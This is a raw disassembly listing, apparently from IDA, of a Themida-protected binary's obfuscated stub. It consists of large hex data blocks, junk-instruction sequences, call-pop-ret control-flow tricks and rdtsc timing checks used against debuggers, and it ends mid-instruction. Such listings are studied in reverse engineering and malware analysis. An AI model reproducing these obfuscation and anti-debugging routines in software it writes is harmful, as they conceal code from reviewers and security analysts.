8C704F57h, 58AF9E48h dd 0E1D8A69h, 0BFC72033h, 24D15380h, 2A2770D0h, 0BA0E62A6h dd 91A0F746h, 0CE3FE92Dh, 0BF688BCAh, 6C995A65h, 0D5C02A17h dd 0C80CF0CFh, 5CA8451Eh, 15F261h, 73A22E35h, 61A52920h dd 0C3146C7h, 6EF587D7h, 0B0D368FCh, 56AC4E5Ch, 0D3EE3BE2h dd 3F100h, 841B0000h, 0FDD4DE9Ch, 7A57A009h, 0E6D12796h dd 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh, 40798871h dd 0CFFA0DFCh, 3768CF7Bh, 89000061h ; --------------------------------------------------------------------------- add al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 73EFh mov [esp], ebx push eax push edx mov edx, 510B2F31h or edx, 766645B7h shl edx, 6 sub edx, 0C15FB7AAh mov eax, edx pop edx add eax, 78296C42h add eax, 736ABAFBh mov ebp, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx sub esp, 4 mov [esp], ebp add dword ptr [esp], 194240FAh pop dword ptr [ebx+8] sub dword ptr [ebx+8], 194240FAh mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- dw 6326h dd 0B4DE589Ah, 0BBBA1337h, 679AB84Ch, 0C5030610h, 0FE8C38Bh dd 48000000h, 0E37C9C8h, 502D576Ah, 0E46CD956h, 0B96687CEh dd 0E95B6738h, 6, 0D1B08134h, 0C381DAFBh, 6A1Ch, 0CE9h dd 0C7198C00h, 0FBDB3B86h, 1F0601D4h, 80D22BDCh, 34FF64F0h dd 5FCC8A1Ah, 7E9h, 5879F100h, 1FD58DF7h, 0A30BEF81h, 0AB85082h dd 81367635h, 0B497EDC7h, 0C6EF8155h, 0E9596F26h, 0Fh dd 0CAEC4D14h, 0CAE7C998h, 0D565C01h, 570B638Dh, 48FC68Bh dd 15BEBE13h, 8E0F7E9Fh, 0Dh, 356BBF60h, 8C0F3A65h, 0 dd 2EA8361h, 0BCD48056h, 814A4A58h, 0A64CA7DEh, 94FA815Eh dd 0FFFFF96h, 0FFFF8985h, 8DEE8AFFh, 1069BD8Dh, 89E4B306h dd 0B174D8Dh, 8D096006h, 60B0051h, 0C7614AB1h, 0B011985h dd 647406h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0B58B7F43h, 60B2F29h, 0DE9h, 0F8113800h dd 5BA1351Dh, 29FE7348h, 85C7DE98h, 60B1009h, 0 ; --------------------------------------------------------------------------- push eax sub esi, [ebp+60B085Dh] pop ebx push edi pop ebx push dword ptr [ebp+60B1AA9h] jmp loc_592A35 ; --------------------------------------------------------------------------- db 0E2h, 80h, 0E7h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- mov ebp, 6CFD3894h enter 2A7Dh, 8Dh retf 72BFh ; --------------------------------------------------------------------------- db 8Bh, 71h, 66h db 62h ; --------------------------------------------------------------------------- loc_592A35: ; CODE XREF: Themida_:00592A1Cj mov eax, [ebp+60B19EDh] call dword ptr [ebp+60B0AC5h] jmp loc_592A5A ; --------------------------------------------------------------------------- dw 541Eh dd 0B744E9A8h, 5CFFEC70h, 45EF5574h, 0BD6BCAF1h db 74h, 0B4h ; --------------------------------------------------------------------------- loc_592A5A: ; CODE XREF: Themida_:00592A41j push 0 call dword ptr [ebp+60B32DDh] mov eax, eax jmp short loc_592AB5 ; --------------------------------------------------------------------------- dw 0C07h dd 0A008D39Fh, 6C3AD078h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh dd 0E4B90DCAh, 633CF005h, 6A1DF768h, 0B3DE9184h, 555A46ADh dd 805A23F5h, 0DAA6F02Fh, 0EAD92CE4h, 6427F937h, 625378E9h dd 538C51DDh, 760F6A56h, 160DA97Ah, 361E4195h ; --------------------------------------------------------------------------- push ebx loc_592AB5: ; CODE XREF: Themida_:00592A64j jmp loc_592C11 ; --------------------------------------------------------------------------- push 0 push edi call sub_592AC5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592AC5 proc near ; CODE XREF: Themida_:00592ABDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_592AC5 endp ; --------------------------------------------------------------------------- db 13h, 0E9h, 0Bh dd 73000000h, 6763C9ACh, 8BB8647h, 0E960C3B8h, 9, 960A9845h dd 0EDE7F23Ah, 611CB4EAh, 6AAEB58Dh, 0CE90610h, 2E000000h dd 0EAE0B2D5h, 1D784338h, 8D2BF3B5h, 0E4D7E85h, 0CE906h dd 0F0500000h, 0FF221291h, 13DCFAF2h, 0D0FF18C9h, 1840Fh dd 0C3F50000h, 0BE860h, 43310000h, 0D6BD6D83h, 0A3324C73h dd 0D9BF0F5Fh, 0A291B85Eh, 0F613392h, 18Eh, 8C66FC00h dd 59BE60D9h, 0E847E702h, 6, 0CE905D72h, 13E9F0BBh, 0A4000000h dd 0C70D4059h, 0D13607Ah, 5D94C0E8h, 4C35F612h, 6158D54Ch dd 0F04C1F6h, 3F84h, 1850F00h, 0FC000000h, 0CB8BFB8Bh dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 6660CF00h, 0B1E4C781h dd 860F6061h, 6, 800Fh, 13E80000h, 7F000000h, 0A2C0E6E1h dd 9FA25DA4h, 48032F29h, 3DBFBB6Bh, 10E9B2AEh, 53000000h dd 0A32890C7h, 61E5914Dh, 83008782h, 59EA00D8h ; --------------------------------------------------------------------------- popa loc_592C11: ; CODE XREF: Themida_:loc_592AB5j mov dword ptr [ebp+6106B04h], 1013Fh jmp loc_592D5C ; --------------------------------------------------------------------------- dd 4Fh dup(0) ; --------------------------------------------------------------------------- loc_592D5C: ; CODE XREF: Themida_:00592C1Bj cmp dword ptr [ebp+60B2859h], 1 jz loc_5931C8 pusha jp loc_592D75 mov edx, 66CA4844h loc_592D75: ; CODE XREF: Themida_:00592D6Aj mov edi, 1BF9488Ch popa mov byte ptr [ebp+60B2845h], 43h jmp loc_592D9A ; --------------------------------------------------------------------------- db 12h dd 0A74BE0D9h, 890EB4C7h, 0EC67A255h, 9D39F7A4h db 0DDh, 0F2h ; --------------------------------------------------------------------------- loc_592D9A: ; CODE XREF: Themida_:00592D82j push 0FBCF2E8Dh jnz loc_592DB7 push eax push edx jle $+6 rdtsc push eax push edx rdtsc pop edx pop eax pop edx pop eax loc_592DB7: ; CODE XREF: Themida_:00592D9Fj xor dword ptr [esp], 176AFE78h cld push dword ptr [ebp+60B1355h] jnz loc_592DD7 jz loc_592DD7 jz $+6 loc_592DD7: ; CODE XREF: Themida_:00592DC5j ; Themida_:00592DCBj lea eax, [ebp+60E7D18h] jmp loc_592DEE ; --------------------------------------------------------------------------- dw 0CBDAh dd 38333106h, 3F8FF292h db 93h, 30h ; --------------------------------------------------------------------------- loc_592DEE: ; CODE XREF: Themida_:00592DDDj call eax pusha mov dl, ah popa mov [ebp+60B28F1h], eax push 0 push edi call sub_592E05 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592E05 proc near ; CODE XREF: Themida_:00592DFDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_592E05 endp ; --------------------------------------------------------------------------- pop ds mov esp, 68BF00F3h mov bl, 77h mov cl, 60h sub dl, 0FCh call near ptr loc_592E34+2 sbb cl, [edx] adc [edx+40A9F794h], ah cmp eax, 0C9319C79h loc_592E34: ; CODE XREF: Themida_:00592E22p mov esi, 1EBA6648h push 5Ah popa mov byte ptr [ebp+60B2845h], 50h stc pusha sub edi, 42895003h popa push 5632297Bh jmp loc_592E67 ; --------------------------------------------------------------------------- dw 667Ch dd 953ECDC7h, 0E5C521D9h, 91B9001Dh db 39h, 0A7h, 0D5h ; --------------------------------------------------------------------------- loc_592E67: ; CODE XREF: Themida_:00592E51j add dword ptr [esp], 527B83DBh cmc push dword ptr [ebp+60B1355h] clc lea eax, [ebp+60E7D18h] push 0 push edx call sub_592E87 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_592E87 proc near ; CODE XREF: Themida_:00592E7Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_592E87 endp ; --------------------------------------------------------------------------- db 66h dd 0EB4F0DD8h, 0A6C77996h, 0B8C0FF7h, 60000000h, 0CBFFF081h dd 0D18009B3h, 0D0FF61BBh, 0C870F60h, 0E8000000h, 6, 7EE82B4Eh dd 505F69E2h, 615AA8B5h, 1F598589h, 0AE9060Bh, 33000000h dd 0A83C07BCh, 1480B9E1h, 0CA68F8C3h, 50DA8189h, 6870F52h dd 0F000000h, 89h, 60310F00h, 6E96160h, 97000000h, 37C740D3h dd 585A61CCh, 0E5243481h, 0F2A0E21h, 28Bh, 0FF616000h dd 0B1355B5h, 1820F06h, 0FC000000h, 7D18858Dh, 14E9060Eh dd 0A3000000h, 0CAEB332Ah, 690852Dh, 73D3B8F8h, 6F62651Bh dd 0FF860E5Bh, 6E9D0h, 7ACE0000h, 9DA59DD1h, 21718589h dd 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0B9EB98C3h, 6E9h, 7AD03800h, 0C6A18243h dd 0B284585h, 0E8F95006h, 4, 979CDC56h, 0CE960h, 0B52E0000h dd 89FAC1C6h, 0AC249499h, 8B661668h, 505061D8h, 0CE952h dd 99450000h, 0E24EC6D8h, 1E0A90D9h, 310F8B09h, 0F525060h dd 8B585A31h, 585A61CAh, 424448Bh, 0DE860h, 65ED0000h dd 0AB825DC4h, 33CD7AD2h, 57F1ADF4h, 8B615F5Ah, 12820F00h dd 50000000h, 0F525052h, 0F585A31h, 860F31h, 5A000000h dd 24448958h, 9E904h, 1A1F0000h, 52A2AE6Dh, 589CC33Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D4C35242h dd 1B5FFF8h, 60060B0Bh, 2890Fh, 61600000h, 0B70F6061h dd 5F5750F0h, 858D6158h, 60B390Dh, 7830Fh, 0B8600000h dd 7F10A19h, 60D0FF61h, 2840Fh, 0FE8B0000h, 3CDABF66h dd 45858961h, 0E9060B2Eh, 13h, 0E7C2303Eh, 6ED831FDh, 0DB37EC48h dd 0BF937CE7h, 0E99C6A85h, 13Ch, 0CE9h, 0DB564200h, 724615F4h dd 365B376Ch, 8D0F5056h, 0Ch, 6890Fh, 860F0000h, 0 ; --------------------------------------------------------------------------- mov [esp], ebp jl loc_5930BA cld loc_5930BA: ; CODE XREF: Themida_:005930B3j mov ebp, esp jmp loc_5930D3 ; --------------------------------------------------------------------------- db 0BFh, 2Fh, 0F9h dd 8268286Fh, 2EEE8888h, 8774C66Eh db 92h, 0F7h, 67h ; --------------------------------------------------------------------------- loc_5930D3: ; CODE XREF: Themida_:005930BCj add esp, 0FFFFFFFCh stc pusha push 0 push edx call sub_5930E3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5930E3 proc near ; CODE XREF: Themida_:005930DBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5930E3 endp ; --------------------------------------------------------------------------- db 8Dh dd 18E0FEFh, 0F9000000h, 0E8h, 0EA815A00h, 610705Dh, 0FC45C7h dd 83000000h, 0B2859BAh, 840F0106h, 98h, 6A006A52h, 0F192FF0Fh dd 5A060B28h, 6B7C8289h, 9A8D0610h, 6106B80h, 2803C752h dd 53000001h, 5992FF50h, 5A060B1Fh, 809A8D52h, 5306106Bh dd 6B7CB2FFh, 92FF0610h, 60B2E45h, 74C00B5Ah, 809A8D50h dd 8D06106Bh, 0C933247Bh, 104F981h, 0D4740000h, 393C8141h dd 4558452Eh, 348DEE75h, 0C752B39h, 2B7DBA8Dh, 4D8B060Bh dd 32A4F30Ch, 0FF52AAC0h, 828D0875h, 60B2B7Dh, 7192FF50h dd 5A060B21h, 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h dd 0 ; --------------------------------------------------------------------------- popa mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- jmp loc_5931C7 ; --------------------------------------------------------------------------- db 61h, 0E6h, 40h db 0D0h, 12h, 2Bh ; --------------------------------------------------------------------------- loc_5931C7: ; CODE XREF: Themida_:005931BCj cmc loc_5931C8: ; CODE XREF: Themida_:00592D63j mov edx, edx call sub_5931D8 sbb al, 0E3h mov esi, 0A78A82A2h sub al, 32h ; =============== S U B R O U T I N E ======================================= sub_5931D8 proc near ; CODE XREF: Themida_:005931CAp movzx ecx, di pop eax jmp loc_5931EF ; --------------------------------------------------------------------------- db 0F6h, 0C2h, 0FDh dd 5C1114BEh, 0D704DAC6h db 0A5h, 0CFh, 0C1h ; --------------------------------------------------------------------------- loc_5931EF: ; CODE XREF: sub_5931D8+4j add eax, 6B52h mov ch, ah mov esi, 42701B0Fh xor esi, 427001AEh jmp loc_59321B ; --------------------------------------------------------------------------- db 92h dd 1DECAE0Fh, 53185641h, 0FC221182h, 40A73ECFh db 4Bh, 0C7h, 0D8h ; --------------------------------------------------------------------------- loc_59321B: ; CODE XREF: sub_5931D8+2Aj ; sub_593262+36j push dword ptr [eax] mov edi, 5140089Ah pop edx adc bl, 74h add edx, 0D454550h js loc_59324B pusha jmp loc_593244 ; --------------------------------------------------------------------------- inc ecx mov eax, 1120D9D2h xor [edi-9DC4E69h], bl loc_593244: ; CODE XREF: sub_5931D8+5Bj adc ecx, 64A3691Dh popa loc_59324B: ; CODE XREF: sub_5931D8+54j xor edx, 28C85E77h jno loc_593266 call sub_593262 mov eax, 4A1D1732h xchg eax, ecx sub_5931D8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_593262 proc near ; CODE XREF: sub_5931D8+7Fp add cl, 0EAh pop ebx loc_593266: ; CODE XREF: sub_5931D8+79j add edx, 194EFAC4h pusha mov ah, bl pusha mov edx, 15D38682h cmc popa popa push edx xor di, 7CDFh pop dword ptr [eax] adc bx, 49F9h sub eax, 3 mov bx, ax dec eax add edi, 105243C1h sub esi, 1 jnz loc_59321B or cl, 48h call near ptr loc_5932B1+3 mov cl, 0Dh db 2Eh shr ecx, cl or eax, 79FE43D6h pop ds loc_5932B1: ; CODE XREF: sub_593262+3Fp sub [edi-7499A810h], ebp sub_593262 endp ; sp-analysis failed lock pop eax pop ecx mov si, bx add ecx, 5FE9h mov ax, cx push 17C8h mov ebx, 6677ADEDh pop edx jmp loc_5932DB ; --------------------------------------------------------------------------- dw 7CB6h db 50h, 2Fh, 80h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_593303 loc_5932DB: ; CODE XREF: Themida_:005932D1j ; sub_593303+66j push dword ptr [ecx] ja loc_5932E6 and bl, 29h loc_5932E6: ; CODE XREF: sub_593303-26j pop edi movsx ebx, cx add edi, 67AD4F3Bh call sub_593303 inc edi dec eax aas shl byte ptr [esi+7923C2D4h], cl mov cl, ah lds esp, [edx+0Fh] ; END OF FUNCTION CHUNK FOR sub_593303 ; =============== S U B R O U T I N E ======================================= sub_593303 proc near ; CODE XREF: sub_593303-13p ; FUNCTION CHUNK AT 005932DB SIZE 00000028 BYTES push edx jmp loc_593318 ; --------------------------------------------------------------------------- db 8Ch, 2, 76h dd 67E14E97h, 5D96E7E5h, 0B1E6402Ch ; --------------------------------------------------------------------------- loc_593318: ; CODE XREF: sub_593303+1j pop eax pop esi add edi, 28CBCEC4h push edi mov ax, 68FBh pop esi sub edi, 0F68DEDBh pusha xor ah, 0A4h or di, 1DB4h popa push edi mov bx, ax pop dword ptr [ecx] mov esi, edx sub ecx, 40B9D341h sub ax, 2A54h add ecx, 40B9D33Dh jmp loc_593366 ; --------------------------------------------------------------------------- dd 0A79B1F1Bh, 79E63817h, 0A2C674F7h, 0D0FD14BAh db 89h, 0B7h ; --------------------------------------------------------------------------- loc_593366: ; CODE XREF: sub_593303+4Cj sub edx, 1 jnz loc_5932DB mov bx, 956Dh dec eax adc ah, [edx] jmp near ptr 0A5A77ECAh sub_593303 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 42h dd 0B1F1BBAFh, 0A05AF70h, 0DC79D334h, 0C5FF0271h, 79824184h dd 9B303F84h, 35477425h, 6B230079h, 7F3B1B89h, 0BF3F0332h dd 1D300239h, 0F6D95681h, 48300237h, 0A33002BDh, 0E08D8134h dd 0E836093Ah, 7400863Bh, 0ECB10234h, 5ED0C2BCh, 8E3358DDh dd 11306834h, 0A33001DCh, 126E2234h, 0CC448B6Ah, 50748330h dd 3A301A30h, 0DE664434h, 229ECD58h, 0AEB1648Eh, 26BDD36Fh dd 0D72070DBh, 0E829833Bh, 65D80234h, 86300234h, 760FD5BAh dd 0DF12E664h, 629DE2DFh, 799CCCCFh, 816F6354h, 0E83011DDh dd 8E69CC34h, 0F54713C5h, 0EACE9BB7h, 0C2C07757h, 6243078Dh dd 0C91406BDh, 0D2D85334h, 0C8300234h, 0FD69C16Dh, 0BB342678h dd 9342670h, 0CF300234h, 48BCC165h, 0A33004B8h, 84DF8334h dd 8E733053h, 0B296CBB5h, 48E187B9h, 0A2560424h, 0DCA0AF41h dd 9006E18Ah, 0C5605C72h, 0DEA0F8BFh, 0E83011B3h, 78D95134h dd 0D2300234h, 0B054294Eh, 0CB585315h, 1E9418B0h, 0A61D97CBh dd 0D15A043Fh, 0E833EA65h, 2D100234h, 76B95BF7h, 59B10610h dd 8E280610h, 16710234h, 0A408ECF7h, 0D6D8809Ch, 67300234h dd 1804449Bh, 0F4B06885h, 0DDBB5B45h, 811CBC52h, 428DBFB7h dd 0D630043Fh, 8D813Dh, 0E836091Dh, 27601B40h, 4088C2BFh dd 94300230h, 851A37B1h, 5DAD8F32h, 5C360F87h, 526859E7h dd 0E319D389h, 63440232h, 40885164h, 94300230h, 851A37B1h dd 4EAD8F32h, 5C360F84h, 386859E7h, 0E8300238h, 119B290Bh dd 0B4EF2006h, 0B19BA684h, 0D965BD52h, 0C0F78352h, 2EF08985h dd 0C142DBA9h, 0BE306832h, 743001DCh, 0F96E2234h, 39448B6Ah dd 0AA748330h, 47301830h, 60664434h, 62E25831h, 101C8255h dd 1E6487B9h, 0BB3F0424h, 1D300221h, 8E3012DDh, 19830334h dd 6097855Bh, 0F724377Ah, 6B2579B4h, 1EE0FD2Bh, 39D85134h dd 3D300234h, 76BC16Fh, 0C6342668h, 0B9342670h, 92300234h dd 4F9FC167h, 3E8E398Fh, 0A88E64C0h, 1D24EADDh, 32AA0234h dd 360CFC88h, 0FC0C6E45h, 0CB5DCC5Eh, 7A23ED27h, 0C33F6B7Fh dd 0FA3B58CBh, 1D29863Bh, 3C90234h, 4C7DD5A9h, 71B16432h dd 0D288A0B2h, 8E300234h, 8B49F18Bh, 0B76A54D7h, 0D42E3A9h dd 0BBDFB32h, 41206860h, 5CC3B53Bh, 873068E4h, 0E83001DCh dd 0B76E2234h, 1E448B6Ah, 39748330h, 8E301930h, 84664434h dd 8AEFB184h, 1F049A5Bh, 1C78952h, 74300226h, 737037A6h dd 0FA75DFDAh, 3068F802h, 66B04E7Dh, 633B47DAh, 0D109863Bh dd 58810234h, 39E79FB9h, 0C8B1043Fh, 27CAC6F5h, 8E30038Ch dd 2DD3FD34h, 0A0D85734h, 0F1300234h, 616DC169h, 0F5342658h dd 2C342670h, 58300234h, 8063C161h, 1FDA839Ah, 2E617D52h dd 0C142E4A9h, 28F6432h, 20B58FEEh, 3536125Eh, 0CDCFCB83h dd 6660025Eh, 47300237h, 0FBF35A14h, 0D51446BDh, 0EC1446B5h dd 7430022Ch, 4FF35274h, 0F97904A7h, 8E23863Bh, 4CD80234h dd 89300234h, 0B6869F1Ch, 251E5D14h, 2E611F2Bh, 35F0096Dh dd 1D305CB0h, 8E3EEA34h, 933E0234h, 0BAFC7C1Eh, 6C5A3B3h dd 830D6858h, 0F96AF2BFh, 317DD5A9h, 4C306832h, 8E3001DCh dd 84692234h, 877C8B6Dh, 0F5748330h, 0E8301F30h, 0B7614334h dd 0EF2071CEh, 0C8BE28B0h, 188A3C26h, 0FF0F1FB2h, 0A3300237h dd 23D6BD52h, 643FE1CBh, 74300233h, 3A318F3Bh, 5EC80234h dd 6660025Eh, 47300237h, 0FBF35A14h, 0D51446BDh, 0EC1446B5h dd 74300220h, 70F35274h, 1D318A3Bh, 3C80234h, 5742CD89h dd 60BD8F32h, 69361242h, 627B5E49h, 5F1D8707h, 0F51B043Fh dd 0B732EBF5h, 0D42E3A9h, 0BBDFB32h, 41206860h, 5CC3B53Bh dd 873068E4h, 833001DCh, 0A4F305E9h, 6AC08Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 2C1F16C3h dd 0AC22A18Ah, 0F87B46Eh, 6AD0B7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0F50E28C3h, 8B666E8Eh dd 48F0FC3h, 66000000h, 8BBC6DBEh, 0CE9C0h, 46600000h dd 565107D7h, 0A7860BA8h, 13E9CA18h, 0B6000000h, 0DA8EE952h dd 6167CBCh, 287E6E96h, 4961BA91h, 0BD83C83Dh, 60B05BDh dd 83097500h, 0B29D1BDh, 19740006h, 0C08B5350h, 47AB8h dd 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h, 0D1BD8358h dd 60B29h, 53501774h, 47AB8h, 99858900h, 8D060B12h, 0DB0229Dh dd 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0AD3C7ABBh, 0E9C05149h, 5, 0AE793F75h dd 8DC08BB6h, 1078568Dh, 4D8D8906h, 57060B17h, 8E8h, 18874A00h dd 8B8C29AAh, 0C7585A7Bh, 0B011985h, 743006h, 68C0F00h dd 9000000h, 0B15B58Dh, 985C706h, 60B10h, 8B000000h, 0B0DF985h dd 5B5FF06h, 6A060B27h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 82B1C352h, 0AE4D6EB7h dd 2FBB6642h, 0C595FF8Dh, 6A060B0Ah, 0DD95FF00h, 8B060B32h dd 506BEBC0h, 0BE598A54h, 0E6E775D8h, 355A26FEh, 51458F78h dd 0E692C404h, 853C12F3h, 8EC48009h, 0C4D0E24Fh, 31D8BA5Eh dd 8E6DFA2Dh, 41E22696h, 6917CADh, 22C0662Fh, 16A93595h dd 0C08F4D89h, 2A7BDF75h, 76C428DBh, 433B4E11h, 0AD6E2CDh dd 0FAE0A264h, 0D1A4A6A2h, 16B27B07h, 0AFC5332Ch, 0E793845Ch dd 2987D124h, 16BA9427h, 66E9EE64h, 60000002h, 0F6D98C66h dd 840F04C1h, 35h, 0B5FF016Ah, 60B0B01h, 7D18858Dh, 0D0FF060Eh dd 0F558589h, 0FE8B060Bh, 680CEFC1h, 20060000h, 26A006Ah dd 0D6857h, 95FF0001h, 60B0F55h, 32E9h, 4585C600h, 56060B28h dd 0C530DF68h, 55B5FFA9h, 8D060B13h, 0E7D1885h, 89D0FF06h dd 0B33A185h, 61858D06h, 50060B0Bh, 56A406Ah, 0A195FF56h dd 61060B33h, 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 79498589h, 428B0610h, 4185890Ch dd 8B061079h, 85891042h, 6107945h, 797FB58Dh, 858D0610h dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 107949B5h, 41858B06h dd 83061079h, 107945BDh, 840F0006h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 49858908h, 8D061079h, 1079D0B5h dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 10794985h, 4C206h dd 7949858Bh, 8B0610h, 79498589h, 0CF0610h, 60000000h dd 79A6B589h, 85890610h, 61079A2h, 43D858Dh, 408B060Bh dd 0DF858944h, 8D061079h, 107A15B5h, 35858D06h, 0FF005B7Eh dd 858B61D0h, 61079A6h, 0A29D8BC3h, 0F061079h, 33C43B7h dd 785B8BD8h, 79A29D03h, 738B0610h, 0A2B50324h, 56061079h dd 8B207B8Bh, 0BD031C73h, 61079A2h, 79A2B503h, 83FC0610h dd 8B41FFC9h, 1079A69Dh, 3178B06h, 1079A295h, 4C78306h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 1079A285h, 0A6858906h, 8B061079h, 8BCE8BF0h dd 0DFBD81C1h, 61079h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 61079DFh dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 0DFBD8100h dd 61079h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 61079DFh, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 4D858DCFh dd 89061079h, 0B088585h, 0E3858D06h, 89061079h, 0B131185h dd 0AA858D06h, 89061079h, 0B027985h, 0ED8D8D06h, 0B006107Bh dd 4D8D892Eh, 6A060B17h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 8938C351h, 3820F6Fh dd 66000000h, 0C6BFF08Bh, 0C76D1720h, 0B011985h, 627006h dd 9858900h, 0C7060B08h, 0B100985h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 24BDDACh, 7568618Bh, 2173CB81h, 0B5FF7678h, 60B0DA5h dd 16799533h, 95FF060Bh, 60B0AC5h, 6AD88Bh, 32DD95FFh dd 0C08B060Bh, 0B1D82AEBh, 0A537E61Eh, 32D9246Fh, 17C12D8Eh dd 6D4AA1A2h, 0FDE2CA1Eh, 0CEB1289Eh, 0E64FB2CAh, 0C10376D6h dd 0AFC6F8Dh, 2129C9C2h, 13E8h, 0BB412800h, 22A4B94Dh dd 37410C91h, 677D9F16h, 156BA231h, 56412FBAh, 52565904h dd 0B54DDA81h, 5A5A3458h, 6071C181h, 0BD230000h, 60B33A9h dd 68h, 5E92B200h, 1B25B529h, 48B060Bh, 0D68B6631h, 5CC3C081h dd 0BA6639CFh, 0E881FFE1h, 4B4679DBh, 0CD9BD8Bh, 0F081060Bh dd 6FC409E3h, 8E9h, 1244CE00h, 0F1923137h, 48F5039h, 850F31h dd 66000000h, 0EE81D68Bh, 557816C8h, 813BF680h, 7816C4C6h dd 0FA8B6655h, 0A040FE81h, 850FFFFFh, 0FFFFFFA6h, 14E8h dd 10FCDD00h, 6273EC44h, 1885E5BDh, 1CBE3518h, 0DB6C567Dh dd 4ABF661Ah, 0C8E95A32h, 88000001h, 7 dup(88004188h) dd 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 1000000h, 14h dup(0) dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0) dd 0E9000000h, 353h, 0E855h, 815D0000h, 107EAEEDh, 85C76006h dd 6107DFBh, 0 ; --------------------------------------------------------------------------- cmp word ptr [esi], 0A166h jnz loc_593F7E mov dword ptr [ebp+6107DFFh], 6 jmp loc_593FA2 ; --------------------------------------------------------------------------- loc_593F7E: ; CODE XREF: Themida_:00593F69j lea eax, [ebp+6107E03h] push eax lea eax, [ebp+6107E53h] push eax push esi push 0 call sub_593FB1 add esp, 10h and eax, 0FFh mov [ebp+6107DFFh], eax loc_593FA2: ; CODE XREF: Themida_:00593F79j popa add esi, [ebp+6107DFFh] mov eax, [ebp+6107DFBh] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_593FB1 proc near ; CODE XREF: Themida_:00593F8Fp var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_6107DF3 = dword ptr 6107DFBh push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_593FDE mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_593FEA ; --------------------------------------------------------------------------- loc_593FDE: ; CODE XREF: sub_593FB1+16j and 